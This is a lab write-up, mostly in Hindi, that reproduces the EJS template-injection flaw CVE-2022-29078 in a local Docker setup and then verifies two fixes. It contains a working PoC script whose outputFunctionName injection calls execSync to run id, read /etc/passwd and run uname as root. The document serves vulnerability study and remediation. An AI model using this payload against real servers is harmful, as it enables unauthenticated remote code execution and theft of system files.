
व्हाइटहैट स्कूल चौथा बैच (कक्षा 32) - 우상범 (@taka3636)
EJS < 3.1.7 में पाई जाने वाली सर्वर-साइड टेम्प्लेट इंजेक्शन (SSTI) कमज़ोरी (CVE-2022-29078) के कारण, बिना प्रमाणीकरण के दूरस्थ रूप से सर्वर पर मनमाना कमांड निष्पादित (RCE) करना संभव है। यह दस्तावेज़ Docker के साथ कमज़ोर वातावरण बनाकर PoC द्वारा RCE को पुनरुत्पादित करता है और दो निवारण उपायों (लाइब्रेरी अपग्रेड · सुरक्षित इनपुट पास करना) को सत्यापित करता है।
EJS (Embedded JavaScript templates) Node.js पारिस्थितिकी तंत्र में व्यापक रूप से उपयोग किया जाने वाला टेम्प्लेट इंजन है। <h1>Hello <%= id %></h1> की तरह HTML के अंदर <% %> टैग्स के साथ जावास्क्रिप्ट डालकर डायनामिक स्क्रीन बनाता है। आंतरिक रूप से, EJS टेम्प्लेट स्ट्रिंग को जावास्क्रिप्ट फ़ंक्शन में संकलित करके निष्पादित करता है, जिससे अंतिम HTML उत्पन्न होता है। अर्थात् यह एक कोड जनरेटर है जो 'पाठ (टेम्प्लेट) को निष्पादन योग्य कोड (फ़ंक्शन) में बदलता है', और यही गुण इस कमज़ोरी की मूल पृष्ठभूमि है।
EJS < 3.1.7 रेंडरिंग विकल्प outputFunctionName के मान को बिना सत्यापन के संकलित फ़ंक्शन स्रोत में डाल देता है। यदि एप्लिकेशन उपयोगकर्ता इनपुट को सीधे रेंडर विकल्प के रूप में पास करता है, तो हमलावर इस विकल्प को संदूषित करके सर्वर पर मनमाना कोड निष्पादित (RCE) कर सकता है। बिना प्रमाणीकरण के दूरस्थ रूप से सर्वर पर पूर्ण नियंत्रण प्राप्त किया जा सकता है, इसलिए इसकी गंभीरता बहुत अधिक है।
< 3.1.7EJS/CVE-2022-29078/
├── docker-compose.yml # 127.0.0.1 바인딩(격리)
├── Dockerfile # node:18.20.4 (버전 고정)
├── app/
│ ├── server.js # 취약 Express 앱
│ ├── package.json # ejs 3.1.6 정확 고정
│ └── views/page.ejs
├── poc.sh # PoC 실행 스크립트
└── 1.png ~ 8.png # 스크린샷
18.20.4 पिन किया हुआ3.1.6 (बिना प्रतीकों के सटीक पिन — ^/~ उपयोग करने पर पैच किया गया संस्करण इंस्टॉल हो जाता है, जिससे पुनरुत्पादन संभव नहीं रहता)4.18.2docker compose up -d --build चलाने से पूरा हो जाता है।

नीचे दी गई दो शर्तें एक साथ पूरी होने पर ही हमला संभव होता है।
< 3.1.7 बिना सत्यापन के outputFunctionName को कोड के रूप में डालता है// app/server.js — 취약 지점
app.get('/page', (req, res) => {
res.render('page', req.query); // req.query 전체를 렌더 옵션으로 전달
});
res.render('page', req.query) में Express उपयोगकर्ता इनपुट (req.query) को पूरा का पूरा रेंडर विकल्प के रूप में EJS को सौंपता है। इस दौरान qs पार्सर settings[view options][outputFunctionName] जैसे ब्रैकेट नोटेशन को नेस्टेड ऑब्जेक्ट में पार्स करता है, और वह मान EJS कंपाइल विकल्प outputFunctionName में मर्ज हो जाता है। अर्थात्, उपयोगकर्ता द्वारा विकल्प वाली जगह पर रखा गया कोड (फ़ंक्शन) विकल्प के साथ जुड़कर EJS तक पहुँच जाता है। EJS इस मान को संकलित फ़ंक्शन के आगे निम्न प्रकार डालता है।
var <outputFunctionName값> = __append;
सामान्य मान होने पर यह var myOut = __append; जैसा हानिरहित होता है, लेकिन मान में सेमीकॉलन से वाक्य तोड़कर कोड डालने पर वह कोड संकलित फ़ंक्शन के निष्पादन के समय वैसे ही कार्य करता है। इसी स्थान पर execSync(...) डालकर विशिष्ट फ़ाइलें पढ़ी जा सकती हैं या सिस्टम कमांड निष्पादित किए जा सकते हैं।
पूर्वापेक्षा: Docker + Docker Compose इंस्टॉल हों, तथा बिल्ड के समय इंटरनेट कनेक्शन उपलब्ध हो।
# 1) 클론 후 폴더 이동
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078
# 2) 빌드 및 기동
docker compose up -d --build
docker compose ps
# 3) 정상 동작 확인
curl "http://127.0.0.1:3000/page?id=world" # -> <h1>Hello world</h1>
# 4) PoC 실행
bash poc.sh
# 5) 정리
docker compose down

poc.sh — outputFunctionName विकल्प इंजेक्शन के माध्यम से सर्वर पर तीन कमांड निष्पादित करके परिणाम प्राप्त करता है। [1] id (निष्पादन करने वाला), [2] /etc/passwd (मनमानी फ़ाइल पढ़ना), [3] uname (निष्पादन स्थान)।
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
curl -g : URL ब्रैकेट्स को glob के रूप में न समझने के लिए अनिवार्य (इसके बिना curl: (3) bad range त्रुटि आती है)%20, रिडायरेक्ट > %3Epoc.sh चलाने का परिणाम। सामान्य अनुरोध (id=world) केवल Hello world लौटाता है, लेकिन outputFunctionName इंजेक्शन द्वारा डाले गए कमांड सर्वर पर निष्पादित होते हैं और उनका आउटपुट प्राप्त कर लिया जाता है।

id → uid=0(root) gid=0(root) : डाला गया कमांड root अधिकार के साथ निष्पादित हुआ।/etc/passwd → सिस्टम खाता फ़ाइल की सामग्री वैसे ही लौटाई गई : सर्वर की मनमानी फ़ाइल पढ़ी जा सकती है (गोपनीयता का उल्लंघन)।uname → होस्टनाम 326f6f1b04b3 (कंटेनर ID) है, जो VM होस्टनाम (ubuntu-QEMU-Virtual-Machine) से भिन्न है : यह सिद्ध करता है कि कमांड होस्ट पर नहीं, बल्कि कंटेनर के अंदर निष्पादित हुई थी। अर्थात् root अधिकार sudo के कारण नहीं, बल्कि कमज़ोर सर्वर प्रक्रिया (कंटेनर में node = डिफ़ॉल्ट root) के कारण प्राप्त हुआ।बिना प्रमाणीकरण के केवल एक दूरस्थ अनुरोध से ही root अधिकार वाले कमांड का निष्पादन + मनमानी फ़ाइल पढ़ना संभव है = CVE-2022-29078।
उपाय 1 — लाइब्रेरी अपग्रेड (मूलभूत समाधान)
package.json में ejs को 3.1.7 या उससे ऊपर के संस्करण में बढ़ाएँ। 3.1.7+ outputFunctionName को रेगेक्स /^[a-zA-Z_$][0-9a-zA-Z_$]*$/ से सत्यापित करता है, जिससे सेमीकॉलन जैसे गैर-पहचानकर्ता (non-identifier) वर्ण अस्वीकार हो जाते हैं। इसलिए, वही हमला कोड निष्पादन से पहले ही अवरुद्ध हो जाता है।
Error: outputFunctionName is not a valid JS identifier.


उपाय 2 — सुरक्षित इनपुट पास करना (एप्लिकेशन सुरक्षा)
कमज़ोर संस्करण (3.1.6) में भी, उपयोगकर्ता इनपुट को पूरा न भेजकर केवल आवश्यक मान पास करने पर settings[view options] की मर्जिंग पथ समाप्त हो जाती है और विकल्प संदूषण असंभव हो जाता है। सामान्य कार्यक्षमता बनी रहती है।
// 변경 전 (취약)
res.render('page', req.query);
// 변경 후 (안전)
res.render('page', { id: req.query.id });


अनुशंसा: लाइब्रेरी को नवीनतम करना (मूलभूत समाधान) और उपयोगकर्ता इनपुट को न्यूनतम पास करना (गहन सुरक्षा) — दोनों लागू करें। इसके अतिरिक्त, कंटेनर को गैर-root उपयोगकर्ता के रूप में चलाने से RCE होने की स्थिति में क्षति का दायरा कम किया जा सकता है।